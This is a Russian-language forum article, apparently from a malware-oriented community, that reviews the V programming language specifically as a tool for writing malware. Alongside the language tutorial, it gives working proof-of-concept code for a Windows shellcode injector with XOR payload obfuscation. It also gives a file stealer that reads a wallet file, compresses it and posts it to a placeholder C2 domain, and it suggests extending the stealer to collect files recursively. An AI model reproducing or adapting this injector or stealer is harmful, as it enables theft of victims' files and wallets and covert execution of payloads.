Маргинальные языки программирования #0 - Vlang

D2

Администратор
Регистрация
19 Фев 2025
Сообщения
4,380
Реакции
0
Предисловие

Всем привет!
С вами Патрик.

Я достаточно долго вынашивал идею написания подобной статьи и наконец созрел. Вас никогда не смущало, что 90% малвари пишут на одних и тех же языках программирования? Понятно, что определенные языки лучше подходят под какие-то задачи, но ведь и задач в нашей сфере - огромное множество. Это и компьютерная малварь, и мобильные вирусы, и админ панели/боты/парсеры/сканеры. Да что уже говорить, по сути вообще все сферы разработки программного обеспечения можно рассматривать как с белой, так и с черной стороны и любому языку и скиллу можно найти применение.

Также не секрет, что я очень люблю изучать новые языки программирования (привет челленджу "12 языков за год"), самосовершенствоваться в целом и вообще адепт языково-ориентированного подхода к разработке ПО (гусары, ни слова про лисп).

Поэтому пришла мне в голову мысль - а что, если люди не пишут на языке Х просто потому, что не пробовали язык Х? Яркий пример тому - всем известный язык Nim, который отлично подошел для задач разработки вредоносного ПО.

Этой статьей я хотел бы начать серию небольших эссе, под общим названием "Маргинальные языки программирования". Эссе про языки, которые не входят в топ-10, языки на которых пишет не так много людей, но вместе с тем интересные языки, на которые я рекомендую обратить внимание и как минимум попробовать применить их в своей сфере деятельности.

В каждом из этих эссе я постараюсь подойти к анализу языка с максимально практичной точки зрения - рассмотреть не только теоретический аспект, но также его плюсы и минусы конкретно в нашей сфере, написать пару PoC (реверс шеллы/стиллеры/клипперы) и возможно побудить людей перестать наконец насиловать паблик сорцы одних и тех же старых инструментов и написать что-то новое.

Сразу уточню - статьи будут, что называется opinionated. Это субъективное мнение / оценочное суждение, основанное исключительно на моем опыте и бэкграунде. Если у вас в ходе прочтения появятся свои интересные мысли, вы будете в чем-то не согласны с автором или захотите что-либо дополнить - велкам в комментарии.

И начать я хотел бы с языка программирования V.

Поехали! Начнем с V!

Прежде чем мы окунемся в глубины языка V, давайте сначала погрузимся в его происхождение и узнаем, кто стоит за этим языком программирования и как он вообще появился (язык, не создатель).

История и Создатель

V - это детище Александра Медведникова и более чем 200 участников сообщества. Его идея была проста: создать язык, который сочетает в себе легкость использования, высокую производительность и надежность. Изначально V планировался как раз таки как DSL для Volt - кроссплатформенного и мультипротокольного мессенджера, а затем уже перерос в отдельный полноценный проект.

С момента своего выпуска V получил немало внимания и положительных отзывов, особенно среди тех, кто заботится о безопасности и быстродействии. Да да да, по сути дядюшка Раст передает всем большущий привет, потому что именно благодаря ему каждый первый современный язык в преимуществах указывает "скорость и безопасность".

Сразу уточню, что V - очень молодой язык программирования (первый релиз датирован 26 июня 2019 года), но при этом он активно развивается и в целом производит впечатление продуманного продукта, сделанного для людей.

Установка на Разных Платформах

Великолепно, теперь, когда мы знаем, что стоит за V, давайте перейдем к настройке вашей рабочей среды. Установка V на разных платформах - это быстрая и простая процедура. И это реально огромный плюс, потому что кому хочется пол дня возиться с разверткой рабочей среды. Мы тут чтобы кодить в конце концов, девопсить никто не подписывался.

Залетаем на сайт xttps://vlang.io и ставим компилятор по инструкции. Есть возможность поставить все с помощью установщика - поддерживаются Windows, macOS и различные дистрибутивы Linux. После загрузки установщика, следуйте инструкциям для вашей платформы. Обычно это сводится к нескольким простым шагам, и в течение нескольких минут вы будете готовы к программированию на V.

Также можно собрать все из сорцов, и это на секундочку тоже легко и просто - буквально в пару команд.

Bash: Скопировать в буфер обмена
Код:
git clone https://github.com/vlang/v
cd v
make
# HINT: Using Windows? run make.bat in a cmd shell, or ./make.bat in PowerShell

За развертку V получает твердые пять баллов, потому что разработчики позаботились о комфортной и безболезненной установке под все основные платформы (под основными платформами я подразумеваю MacOs/Linux/Win). Читатель, который хоть раз сталкивался с болью, когда компилятор языка не взлетает под виндой из коробки, поймет о чем речь.

Структура Кода в V

Теперь, когда V установлен, пришло время разобраться с его минималистичной структурой кода. V придерживается принципа "меньше - это лучше" и предлагает чистый и понятный синтаксис. Субъективно, синтаксис очень похож и возможно даже навеян Go, что также отмечают и многие участники сообщества - кто-то приходит в V из Go, кто-то использует V как плацдарм перед изучением Go.

Ваш первый V-программный файл будет выглядеть просто, как никогда. Вот пример программы "Hello, World!" на V:

Код: Скопировать в буфер обмена
Код:
module main

fn main() {
    println("Hello, World!")
}

Вот и вся программа! Вам не нужны сложные заголовочные файлы или библиотеки. Просто определите функцию `main`, и в ней вызовите `println` для вывода текста. V позаботится об остальном.

Сразу отмечу отсутствие визуального мусора (во многих местах не нужны скобки, не нужны точки с запятой в конце строки), а также достаточно удобную фичу форматирования из коробки (команда v fmt ...).

Покажу как это собрать, а затем снова вернемся к синтаксическим особенностям и фичам.

Пишем Ваш Первый Проект на V

Начнем с чего-то классического - например напишем функцию для подсчета факториала на языке V.

1. Создайте Проект

В язык V встроен функционал для генерации проектов (сразу в формате git репозитория). Есть два варианта - команды `v new` и `v init`.
Отличие в том, что первая создает директорию проекта, а вторая инициализирует проект в уже существующей директории.
После выполнения любой из них, у вас появятся файлы v.mod (файл проекта, с описанием, названием и зависимостями) и main.v (основной файл с нашим исходным кодом).

2. Напишите Код

Откройте файл `main.v` в любом текстовом редакторе и введите следующий код:

Код: Скопировать в буфер обмена
Код:
// Basic factorial
fn fact1(n int) int {
  mut result := 1
  for i := 0; i < n; i++ {
    result *= (i + 1)
  }
  return result
}

// Recursive factorial
fn fact2 (n int) int {
  if n <= 1 {
    return 1
  } else {
    return n * fact2(n - 1)
  }
}

// Recursive factorial with tail-call optimisation
fn fact3 (n int, result int) int {
  if n <=1 {
    return result
  } else {
    return fact3(n - 1, n * result)
  }
}

fn main() {
  println("Fact of 5: ${fact1(5)}")
  println("Fact of 10: ${fact2(10)}")
  println("Fact of 15: ${fact3(15, 1)}")
}

В этом коде мы определили функцию `main`, которая является точкой входа в программу, и три варианта подсчета факториала (императивный, классический рекурсивный и рекурсивный с оптимизацией хвостовой рекурсии).


3. Сохраните и Запустите Программу

Сохраните файл `main.v`. Теперь, чтобы выполнить программу, откройте командную строку (терминал) и перейдите в каталог, где находится ваш проект

Для запуска программы просто введите следующую команду:

Bash: Скопировать в буфер обмена
v run .

Для компиляции соответственно, нам понадобится просто команда

Bash: Скопировать в буфер обмена
v .

Еще пара фич компилятора:

Bash: Скопировать в буфер обмена
Код:
# Production build
v -prod  .

# ...cross compiled for Win
v -prod -os windows .

# ...without garbage collector
v -prod -os windows -gc none .

Последняя команда выдает нам бинарник размером 84kb, что сразу дает нам понять - язык отлично подходит для написания разнообразной малвари. К слову, со сборщиком мусора вес тоже не запредельный и равняется 173kb.

А теперь сразу списком фичи, которые дадут вам возможность сразу перешагнуть этап быдлокода и начать работать с адекватными инструментами:

1) Тесты

Стандартизированы из коробки. Любой файл с постфиксом _test.v считается тестом.
Пример для определенных выше функций факториалов:

Код: Скопировать в буфер обмена
Код:
module main

fn test_fact1_of_5() {
  assert fact1(5) == 120
}

fn test_fact2_of_5() {
  assert fact2(5) == 120
}

fn test_fact3_of_5() {
  assert fact3(5, 1) == 120
}

Сохраняем все в файл main_test.v и запускаем командой v test .

Получаем выдачу:
Код: Скопировать в буфер обмена
Код:
---- Testing... ----------------------------------------------------------------

 OK    1771.774 ms /users/patrick/v/test/src/main_test.v

--------------------------------------------------------------------------------

Summary for all V _test.v files : 1 passed, 1 total. Runtime: 1772 ms, on 1 job.

Что сразу недвойственно намекает нам, что test driven development здесь любят и от всей души рекомендуют рекомендуют. И это здорово.

2) Форматирование

Уже сказал про него чуть выше, выполняется командой v fmt src/main.v
Если добавить флаг -w, то команда сразу перезапишет исходный файл, вместо вывода нового отформатированного в stdout.

Пример (я постарался отформатировать код максимально по-уродски):
ДО
Код: Скопировать в буфер обмена
Код:
fn format_me(a int) bool {
x:=1
if x>2 {return false} else {
return true}}

ПОСЛЕ
Код: Скопировать в буфер обмена
Код:
fn format_me(a int) bool {
        x := 1
        if x > 2 {
                return false
        } else {
                return true
        }
}

Не идеально (у меня по дефолту сделало отступ аж восемь пробелов), но согласитесь стало намного лучше.

3) Профайлер

Да да да, я в курсе, что джуны и многие мидлы не в курсе даже что это.
И это не их вина, просто во многих языках нет адекватных профайлеров, а в учебниках не учат стадии рефакторинга от слова совсем.

Вкратце и простым языком, профайлер - такая штука, которая составляет как бы "профиль" вашей программы, и показывает какая функция как часто была вызвана и сколько времени на это потребовалось. Полезно это тем, что позволяет легко увидеть "тяжелые" функции и оптимизировать алгоритмы.

И в V таки завезли профайлер в стандартной поставке. Да, простенький, но он есть. Вызывается вот такой командой:

Bash: Скопировать в буфер обмена
v -profile profile.txt run .

Ну и достаточно очевидно, что в файле profile.txt читатель обнаружит аутпут и сможет быстренько понять где что ему оптимизировать.

4) Кросс компиляция

Я как человек, который видит винду только в виртуалках уже последние лет 10, всегда дико подгораю от софта с неудобной/невозможной кросс компиляцией (еще больше я подгораю от админок написанных под виндовые серваки, но статья не об этом).

В V как уже заметил вдумчивый читатель компилятор реализован в мета формате - сначала код на V транскрибируется в код на C (или не на С, но об этом чуть позже), а уже затем компилируется в нативный бинарник с помощью штатных компиляторов (из коробки нам дают портативный tcc, но во флаге командной строки без проблем можно передать gcc или clang и пробросить необходимые флаги). В связи с этим и кросс компиляция реализована достаточно просто - посредством MinGW.
Для любителей повиндовозить - msvc тоже все отлично собирает, я проверил.

За этот момент V тоже получает свои пять баллов, спасибо, удобно.

5) Бэкенды

Поскольку V не просто метаязык, а стильный модный молодежный мета язык, в него конечно же не могли не завезти поддержку различных бэкендов.

Из поддерживаемых целей компиляции на сегодня:​
  • c (default)​
  • go (транскрибирует в го и передает гошному компилятору)​
  • interpret (режим интерпретатора)​
  • js (под ноду)​
  • js_browser (очевидно, под браузер)​
  • js_node (тоже под ноду)​
  • js_freestanding (js без жесткой привязки к рантайму)​
  • native (напрямую собирает бинарник, без промежуточных языков. Экспериментальная фича)​
  • wasm (ну и конечно васм, тоже экспериментально)​

Выглядит внушительно, но на практике к сожалению все не так радужно, если вы уже начали потирать ручки в предвкушении.
На практике у V есть основной бэкенд (сишный), который работает бодро и стабильно. И есть все остальное, которое работает на хэллоуворлдах, но наотрез отказывается собирать что-то более менее серьезное.

Ну и плюсом к этому добавляется вечная проблема мета языков - необходимость знать таргет платформу (типа учишь Clojure - будь добр еще Java выучи, она же под капотом). И если в связке v/c/go это еще имеет какой-то смысл, языки хотя бы по доменной области похожи, то при транскрибации в js получается лютый лапшекод, и ковыряться в попытках понять что же там не заводится нет никакого желания.

Итого что имеем - на бумаге много таргет платформ. На практике - собирай через Си и не выпендривайся. Надеюсь, допилят.

Синтаксис и интересные концепции

Как читатель уже понял по отрывкам кода, V - язык со статической типизацией. При этом типизация является слабой, короче говоря в этом плане ничего необычного.

При этом (осторожно, очень субъективное мнение) язык показался мне очень обмазанным синтаксическим сахаром и как будто больше похожим не на язык, а на какой-то большой фреймворк/бойлерплейт, в который попытались запихнуть все существующие в различных языках фичи.

Тут тебе и паттерн матчинг, и лямбды, и генераторы, и много очень отдающих питоном конструкций. Но на удивление, все это очень удачно впихнулось и даже работает. Я честно, когда читал доксы был уверен, что это будет монструозная штука, но нет, все вполне органично. Писать на языке комфортно.

Пробежимся по основам.

Переменные

Код: Скопировать в буфер обмена
Код:
name := 'Bob'
age := 20
large_number := i64(9999999999)

Это дефолтный и единственный способ определить переменную, и это скорее плюс чем минус для начинающих кодеров - переменная всегда инициализирована, что исключает целый класс связанных с этим ошибок.
Все переменные по дефолту иммутабельны, если хотим изменять значение - нужно явно указать это при инициализации

Код: Скопировать в буфер обмена
Код:
mut x := 1
x = 2
println("x equals ${x}")
// 2

Глобальных переменных нет. Ну точнее они есть, но определяются весьма специфичным синтаксисом и требуют указать специальный флаг при компиляции. Спасибо, говнокода будет явно меньше.

Шэдоуинга тоже нет, и вот это уже неприятно - будьте так любезны, используйте разные имена для разных переменных.

Флоу

У нас есть if

Код: Скопировать в буфер обмена
Код:
a := 10
b := 20
if a < b {
    println('${a} < ${b}')
} else if a > b {
    println('${a} > ${b}')
} else {
    println('${a} == ${b}')
}

// 10 < 20

И у нас есть мэтч, который можно использовать как стандартный паттерн матчинг, так и как альтернативу для ветвящегося if-else

Код: Скопировать в буфер обмена
Код:
number := 2
str := match number {
    1 { 'one' }
    2 { 'two' }
    else { 'many' }
}
println(str) // two

match true {
    2 > 4 { println('if') }
    3 == 4 { println('else if') }
    2 == 2 { println('else if2') }
    else { println('else') }
}
// else if2

Циклы

Цикл у нас аж целый один, но зато какой.
Цикл for используется для всяких разных ситуаций и заменяет нам все другие варианты циклов. Например, итерация по списку, словарю, а также по диапазону выглядят вот так:

Код: Скопировать в буфер обмена
Код:
numbers := [1, 2, 3]
for num in numbers {
    println(num)
}
// 1
// 2
// 3

names := ['Sam', 'Peter']
for i, name in names {
    println('${i + 1}. ${name}')
}
// 1. Sam
// 2. Peter

m := {
    'one': 1
    'two': 2
}
for key, value in m {
    println('${key} -> ${value}')
}
// one -> 1
// two -> 2

for i in 0 .. 5 {
    print(i)
}
// 01234

А вот аналог цикла while:

Код: Скопировать в буфер обмена
Код:
mut sum := 0
mut i := 0
for i <= 100 {
    sum += i
    i++
}
println(sum) // 5050

А вот бесконечный цикл, из которого нужно выходить ручками с помощью break:

Код: Скопировать в буфер обмена
Код:
mut num := 0
for {
    num += 2
    if num >= 10 {
        break
    }
}
println(num) // 10

Или например классический цикл for в стиле аналогичного Сишного:

Код: Скопировать в буфер обмена
Код:
for i := 0; i < 10; i += 2 {
    if i == 6 {
        continue
    }
    println(i)
}
// 0
// 2
// 4
// 8

На бумаге выглядело как дичь, на практике же оказалось весьма удобно. Хочешь итерировать - берешь for.

Функции

Код: Скопировать в буфер обмена
Код:
fn add(x int, y int) int {
    return x + y
}

Есть возможность работать с функциями как с объектами первого порядка (и есть подводный камень с которого меня бомбануло)
Код: Скопировать в буфер обмена
Код:
fn main() {
    double_fn := fn (n int) int {
        return n + n
    }
    println(double_fn(5)) // 10
}

С первого взгляда может сложиться впечатление, что V - мультипарадигмальный язык, и наличие анонимных функций и паттерн матчинга как бы намекает, что мы можем писать на нем в функциональном стиле. И тут меня ждал неприятный сюрприз.

Вложенные функции не поддерживаются. То есть, возвращаясь к избитому примеру с факториалом - вот так написать нельзя:

Код: Скопировать в буфер обмена
Код:
fn fact (n int) int {
  fn quick_fact (n int, result int) {
    if n <=1 {
      return result
    } else {
      return quick_fact(n - 1, n * result)
    }
  }
  return quick_fact(n, 1)
}

Внутренюю функцию придется или вынести наружу, или же придумать какой-то другой алгоритм.

Замыкания тоже присутствуют, но переменные которые мы хотим передать нужно указывать явно. Что как бы тоже вызывает некоторые вопросики.

Словари

Словари тоже являются строго типизированными:

Код: Скопировать в буфер обмена
Код:
m := {
    'one': 1
    'two': 2
}

Это словарь с сигнатурой map[string]int, а значит ключи в нем - только строки, а значения - только числа. Если нужна вложенность, придется явно задавать тип.

Это хорошо в плане чистоты кода, и вместе с тем это бесконечно бесит при работе с json, которым наш современный мир обмазан чуть более чем полностью. Для парсинга данных с большой вложенностью придется или определять структуру явно, или выдергивать нужные данные используя грязные хаки. Вкусовщина конечно, но лично мне такой подход не очень нравится.

Взаимодействие с С

Как мы уже выяснили ранее, V - это метаязык, и отсюда достаточно логичный напрашивается вывод - неплохо бы ему обладать сильной связью с таргет платформой, то есть с Си. И эта связь таки есть.

Глобально, Ви обладает двумя интересными фичами в плане взаимодействия (естественно если мы упустим классический ffi, оно то понятно что само собой имеется). Ви позволяет нам писать полноценные полиглот проекты, то есть дергать сишный код и библиотеки, и встраивать в наш проект на Ви.

Например, вот так включается код:

Код: Скопировать в буфер обмена
Код:
#flag -I @VMODROOT/c
#flag @VMODROOT/c/implementation.o
#include "header.h"

Блок unsafe позволяет нам дергать сишные типы, а также приводить сишные данные к их аналогам в V.

Есть даже специальный инструмент под названием C2V, который позволяет транслировать сишный код в код на V. Особенность - получается действительно не лапша, а адекватный читаемы код.

Пример:

Вот такой небольшой кусок кода:

C: Скопировать в буфер обмена
Код:
#include "stdio.h"

int main() {
    for (int i = 0; i < 10; i++) {
        printf("hello world\n");
    }
    return 0;
}

Транслируется вот в такое:

Код: Скопировать в буфер обмена
Код:
fn main() {
    for i := 0; i < 10; i++ {
        println('hello world')
    }
}

Делается все это с помощью встроенной команды "v translate test.c".
Разработчики также очень гордятся этим фактом и написали даже серию постов о том, как они успешно транслировали игру Doom.

Итак, вернемся к двум подходам.
Подход первый - транслировать сишный код в его эквивалент на Ви. Получаем проект на чистом Ви и комфортно разрабатываем дальше, по сути это гуд практика для автоматизации перевода каких то старых проектов или кусков кода и приведения всего к единой кодовой базе.

Подход второй - обертки. Как я выше уже отметил, у Ви есть возможность дергать сишный код as is и работать с ним. Соответственно, можно генерировать обертки и использовать биндинги.

Подходы по сути эквивалентны и какой из них применять - сугубо дело вкуса. Рекомендуется делать так: если у вас хороший годный код на С, он протестирован и точно работает как надо - делайте обертку. Если у вас какой-то непонятный код на С, но он вам очень нужен, также как и нужна возможность кросс компиляции, профайлинга и других фич Ви идущих из коробки - тогда транслируйте в Ви и работайте с этим языком.

И вброшу сразу ложку дегтя для читателей, которые уже раскатали губу и выкачивают слитые сорцы паблик малвари в надежде транслировать ее целиком в новый язык в одну команду. Так к сожалению не получится. Трансляция в Ви - это по сути большой ящик проводов, который вам все равно придется подключать самостоятельно, то есть транслировать, тестить и переводить кодовую базу файл за файлом, а возможно даже функция за функцией.

Вопрос целесообразности соответственно возникает как раз на этом этапе, потому что как многие из нас уже знают на личном опыте - иногда проще, быстрее и дешевле сжечь все легаси напалмом и написать заново.

А можно немного асма?

Неожиданно, можно и вполне адекватно:

Код: Скопировать в буфер обмена
Код:
a := 100
b := 20
mut c := 0
asm amd64 {
    mov eax, a
    add eax, b
    mov c, eax
    ; =r (c) as c // output
    ; r (a) as a // input
      r (b) as b
}
println('a: ${a}') // 100
println('b: ${b}') // 20
println('c: ${c}') // 120

Не буду дальше развивать эту фичу, просто знайте что оно там есть и с этим можно поиграться и возможно что-то интересное придумать.

PoC Shellcode Injector

Заинжектим немножко шеллкода, посмотрим как это выглядит и работает.
Делаем это в очень базовом формате (все таки пруф ов концепт, извините, сисколлов не завезли), но даже на этом примере будет хорошо видно как ви взаимодействует с си, а также как он работает с указателями.

Создаем проект на V с помощью команды v init, проваливаемся в сорцы и открываем main.v в нашем любимом текстовом редакторе.

Для начала импортируем все необходимые нам функции:

Код: Скопировать в буфер обмена
Код:
module main

import time

#flag -luser32
#flag -lkernel32

fn C.VirtualAlloc(voidptr, u32, u32, u32) voidptr
fn C.RtlMoveMemory(voidptr, voidptr, u32)
fn C.CreateThread(voidptr, u32, voidptr, voidptr, u32, &u32) voidptr

Тут все достаточно базово и дефолтно - мы планируем выделить немножко памяти, записать туда наш шеллкод и создадим новый тред.

Наша основная функция мейн будет выглядеть вот так:

Код: Скопировать в буфер обмена
Код:
fn main() {
    shellcode := []
    inject(shellcode)
}

Тут мы собственно планируем по-спартански захардкодить шеллкод в переменную с многозначительным названием shellcode и заинжектить его, вызвав функцию с не менее многозначительным названием inject.

Собственно, давайте напишем ее реализацию:

Код: Скопировать в буфер обмена
Код:
fn inject(shellcode []byte) bool {
    // Allocate some mmr
    address_pointer := C.VirtualAlloc(voidptr(0), usize(sizeof(shellcode)), 0x3000, 0x40)

    // write shellcode
    C.RtlMoveMemory(address_pointer, shellcode.data, shellcode.len)

    // create remote thread
    C.CreateThread(voidptr(0), u32(0), voidptr(address_pointer), voidptr(0), 0, &u32(0))
    
    time.sleep(1 * time.second)

    return true
}

Тоже все достаточно просто, неправда ли? Что наимпортировали из сишечки, то и подергали в нужном порядке.

Давайте для полноты картины еще поксорим наш пейлоад, чтобы посмотреть хоть немного на код на V, а то получилась совсем какая-то калька.

Реализуем функцию xor, в которой создадим массив фиксированного размера (по длине нашего шеллкода). Затем пробежимся циклом for и поксорим.

Код: Скопировать в буфер обмена
Код:
fn xor(shellcode []byte, key []byte) []byte {
    mut output := []byte{cap: shellcode.len}
    for index, element in shellcode {
        output << element ^ key[index % key.len]
    }
    return output
}

Ну и соответственно подправим немного нашу функцию мейн:

Код: Скопировать в буфер обмена
Код:
fn main() {
    key := "onelovexss"
    encrypted_payload := [ byte(0xb8), 0xa8, 0xcd, ...]
    decrypted_payload := xor(encrypted_payload, key.bytes())
    inject(decrypted_payload)
}

Тут есть два момента, на которых я бы хотел сакцентировать внимание:

Во-первых, V использует snake_case для названий функций и переменных, но использует camelCase для именования типов и структур. И это прям на уровне транслятора, при неправильном использовании код может не скомпилиться (без шуток).

Во-вторых, обратите внимание на первый элемент в массиве с нашим шеллкодом - byte(0xb8). Тут мы явно указываем тип элемента, чтобы Ви понял, что это именно байты. При этом тип мы явно указываем только у первого элемента, потому что V - язык со строгой типизацией и все элементы массива обязаны быть одного типа.

PoC Stealer

Окей, с шеллкодом наигрались, давайте попробуем собрать простенький стиллачок.

Сразу к вопросу терминологии, а также вопросу рыбы и удочки. Стиллер в моей картине мира - это программное обеспечение, которое берет какую-то информацию с удаленной машины пользователя и отправляет ее на целевую машину. Поэтому концептуально, если мы возьмем любой файл и отправим его по сети - то вдумчивый читатель сможет повторить эту процедуру для любых интересующих его файлов, и получится та самая удочка.

Поехали, пишем.
Первым делом как обычно, импортнем все нужное:

Код: Скопировать в буфер обмена
Код:
module main

import os
import net.http
import compress.gzip

Ничего лишнего, ведь нам нужно всего лишь прочитать, сжать и отправить.

Далее реализуем три вспомогательные функции для этих задач:

Код: Скопировать в буфер обмена
Код:
fn try_to_steal (filepath string) []u8 {
    file_data := os.read_bytes(filepath) or { [] }
    return file_data
}

fn compress_stolen_data (data []u8) []u8 {
    compressed_data := gzip.compress(data) or { [] }
    return compressed_data
}

fn send_data_to_c2 (data []u8, c2_domain string) bool {
    response := http.post(c2_domain, data.hex()) or { return false }
    return true
}

В этом коде из того, что мы не видели ранее, только конструкция для работы с исключениями "... or { }".

Концепция очень простая - бывают функции, которые точно возвращают значение нужного нам типа (например суммирование двух целых чисел точно вернет нам целое число). А бывают функции, которые могут вернуть значение, а может что-то там пойти не так.

В нашем случае - например, файла по заданному пути может не быть. В таком случае, V предлагает свою киллер фичу, а именно - возможность хэндлить все ошибки без нагромождения try-catch.

Мы просто заранее знаем, в каких функциях что-то может пойти не так и явно указываем это в типе возвращаемого значения. Когда мы вызываем эту функцию, мы обязательно должны или сразу хэндлить ошибку с помощью конструкции or, или вызывать функцию с восклицательным знаком в конце, тем самым давая компилятору понять, что мы в курсе потенциальных ошибок и нам как бы пофигу, кернел паник так кернел паник.

На самом деле тоже большой плюс за это, поскольку программа без такой обработки ошибок просто не компилируется. А значит хочешь не хочешь - хэндли ошибки, думай, пиши рабочий код.

Окей, а теперь соберем все в кучу в нашей функции main:

Код: Скопировать в буфер обмена
Код:
fn main() {
    c2 := 'YOUR_C2_DOMAIN'
    file_to_steal := '/users/patrick/desktop/wallet.txt'
    data := try_to_steal(file_to_steal)
    
    if data != empty {
        send_data_to_c2(compress_stolen_data(data), c2)
    }
}

Из того что нам еще не встречалось - слово empty, которое обозначает ни что иное, как пустой список.

Здесь как обычно еще много над чем стоит поработать (помимо очевидного - вписать путь до нужных файлов и адрес панели), и это я оставлю в качестве пищи для ума вдумчивому и желающему попрактиковаться читателю.

Как минимум - реализовать рекурсивный сбор файлов, поиск по маскам и параллельность выполнения.

Кстати, о параллельности...

Многозадачность в V

Как вы наверное уже поняли, очень много фич перекочевали, находятся в процессе переноса или уже запланированы из широко известного языка Go. Подход к многозадачности у Ви тоже позаимствован оттуда.

Итак, для того чтобы распараллелить вычисления, в Ви запланировано два подхода:

Первый - это стандартные треды. Создаются специальным словом spawn, которое указывается перед вызовом функции (именованной или анонимной, без разницы):

Код: Скопировать в буфер обмена
Код:
import math

fn main() {
    spawn fn (a f64, b f64) {
        c := math.sqrt(a * a + b * b)
        println(c)
    }(3, 4)
}

Второй подход - это корутины, о аналогии с Го. Которые к сожалению еще не реализованы, но уже запланированы по самое не балуй - есть даже ключевое слово go (которое в текущей реализации автоматически заменяется на spawn при компиляции).

Ну и в целом, влияние Го ощутимо - есть весь джентльменский конкурентный набор - каналы, мьютексы и пошаренные объекты.

Это очень здорово и качественно реализовано из коробки, что автоматически делает Ви пригодным для класса задач, где нужно что-то очень быстро и паралельно делать, например, с файлами на диске (тут обойдемся без примеров, кто понял тот понял).

Вообще, создатели прилагают очень много усилий для того, чтобы с ростом и развитием кодовой базы V оставался не только чистым в плане синтаксиса, но и сохранял свою скорость выполнения. Пока удается, и бенчмарки это подтверждают, Ви все еще весьма быстрый.

Экосистема

Как мы уже говорили ранее, в V идет очень много всего, что называется "из коробки", что делает разработку на этом языке более продуктивной и мощной. Давайте уделим немного времени экосистеме языка Ви, и посмотрим, что уже реализовано и входит в стандартную поставку, выделим некоторые ключевые инструменты, а также скажу пару слов про пакетный менеджер vpm.

VPM: Пакетный Менеджер V

VPM (V Package Manager) - это официальный пакетный менеджер V, который упрощает управление зависимостями и пакетами в проектах на V. Он ставится сразу в дефолтной поставке, и вы скорее всего его даже не заметите, потому что пакеты ставятся командой "v install ...".
Вообще, поймал себя на мысли, что вот эта вот концепция прятать все вызовы вспомогательных инструментов за основной исполняемый файл - как минимум очень интересная и какая-то нативная что ли.

Вот некоторые из возможностей пакетного менеджера:​
  • Установка и Обновление: С VPM вы можете легко устанавливать новые пакеты и обновлять существующие. И обновлять все пакеты целиком в одну команду (передаю привет, мой горячо любимый и обожаемый pip, менеджер пакетов для великого и могучего, который до сих пор этого не может)​
  • Управление Зависимостями: VPM позволяет вам управлять зависимостями вашего проекта, включая разрешение конфликтов зависимостей.​
  • Создание Собственных Пакетов: Вы можете создавать свои собственные пакеты и публиковать их для использования другими разработчиками. И это делается, как и все в V - легко и просто, без лишнего геммора.​
  • *Интеграция с Git: VPM интегрируется с Git, что делает легкой установку пакетов из репозиториев Git. Ну, если совсем честно, vpm построен поверх гита, поэтому очевидно что указать partick.awesome_package вместо полного пути к репозиторию было достаточно логичным решением​
В целом, подход V к либам следующий - зачем изобретать велосипед (в плане организации экосистемы и бизнес-процессов), если уже есть гит, уже есть npm и уже с десяток языков с точно таким же подходом, и все в один голос говорят что да, это удобно.

Также есть vpkg - это такой аналог пакетного менеджера для установки библиотек локально для конкретного приложения (что тоже мастхэв в современном мире, скажет любой программист, кто хоть раз разруливал конфликты версий библиотек).

Итого, имеем весьма-весьма жирную стандартную библиотеку (жирную не в плане веса, а в плане богатую, там действительно есть практически все необходимое для современного разработчика) и построенный по проторенной дорожке менеджер пакетов vpm.

Библиотеки, Внесенные Сообществом

Сообщество разработчиков V активно вносит вклад, создавая различные библиотеки и инструменты для разработки. Некоторые популярные библиотеки и инструменты, разработанные сообществом, включают:
  1. Vtui: Это библиотека для создания текстовых пользовательских интерфейсов в терминале. Она позволяет создавать интерактивные консольные приложения.​
  2. Vex: Эта библиотека предоставляет собой веб фреймворк (у ви есть дефолтный Vweb, но он такой, весьма специфичный для 2023 года)​
  3. Vui: Это библиотека для создания пользовательских интерфейсов, легкая и кроссплатформенная.​
  4. Vsl: Эта библиотека предоставляет доступ к огромной базе всякого сайнтифик специфичного. Аналог других научных либ из других языков. На удивление, сделана достаточно качественно и даже имеет свой собственный, отдельный сайт.​
  5. Vtl: Это библиотека для работы с тензорными вычислениями. Не знаю насколько это практично и применимо в реальной жизни, когда питон плотно занял нишу ИИ и двигаться не планирует, но лучше с ней чем без нее верно?​
Итого, имеем весьма, прямо весьма прилично сделанные либы, а также удобное управление всем этим зоопарком по дефолту.

Ложка дегтя, или трудности и ограничения V

Хотя V предоставляет множество преимуществ, есть и некоторые особенности и ограничения, с которыми разработчики могут столкнуться при использовании этого языка. Некоторые из них связаны с текущим состоянием языка, другие же, что называется "by design", а значит с ними придется смириться и как-то взаимодействовать (ну или нет, в гараже всегда есть старый добрый Форт).

Первое: V - Молодой Язык

V - молодой язык, и это означает, что экосистема и инструменты развиваются. Это приводит и к ограниченному набору библиотек и инструментов, и к другим неприятным особенностям.

В реальном мире это выглядит так - если вы писали какой-то софт на V и словили ошибку, есть ненулевая вероятность, что вы единственный человек на всей планете, кто ее словил. И вам не поможет ровным счетом никто, придется ковыряться в сорцах и выяснять что не так.

Какие-то вещи все еще не доделаны, какие-то находятся на стадии тестирования. Какие-то сделаны абы как, чтобы просто было, потом вернемся и переделаем нормально (да-да-да).

Для языка, которому 4 года V офигенный, но в абсолютном сравнении он конечно еще очень молод и проходит через стадию "молочного" языка.

Второе - Ограниченная Документация

Как следствие из предыдущего пунка, документация V все еще находится в процессе разработки, и не всегда можно найти подробные сведения о том, как использовать определенные функции или библиотеки.

Да, она полная и достаточно красиво оформленная. Это что касается доксов по языку (core language) и стандартной библиотеке. Но чем дальше мы отходим от стдлибы, тем хуже и хуже документация. Вплоть до того, что на сайте vpm топовые пакеты могут быть вообще без документации - залезь в сорцы и сам разберись, что там как я накодил и как этим пользоваться.

Для опытных товарищей не страшно, а новичков конечно отпугнет. Ну и я молчу о том, что естественно никакой первой страницы стэковерфлоу вам не светит в решении возникающих в процессе разработки вопросов.

Третье - десигн by Golang

У меня есть знакомые, которые большую часть кода на работе пишут на Golang. Большинству не нравится. И вопрос тут не к конкретным людям или задачам, вопрос именно в языке.

Как вы наверное заметили, V как и Go - очень "безопасный" язык. В том плане, что шансов выстрелить себе в ногу меньше с каждым релизом. И это к сожалению, накладывает свой отпечаток.

Проблема в том, что Go разрабатывался корпорацией для корпораций, как язык в котором есть ровно один способ сделать что-то, этот способ работает как надо, и шагать влево-вправо от канона - это вы там в своих стартапах на Эликсире пожалуйста, а у нас тут кровавый энтерпрайз. И как следствие, для работы с таким языком не нужны уберпрограммисты - можно посадить много средненьких индусов и они будут писать код.

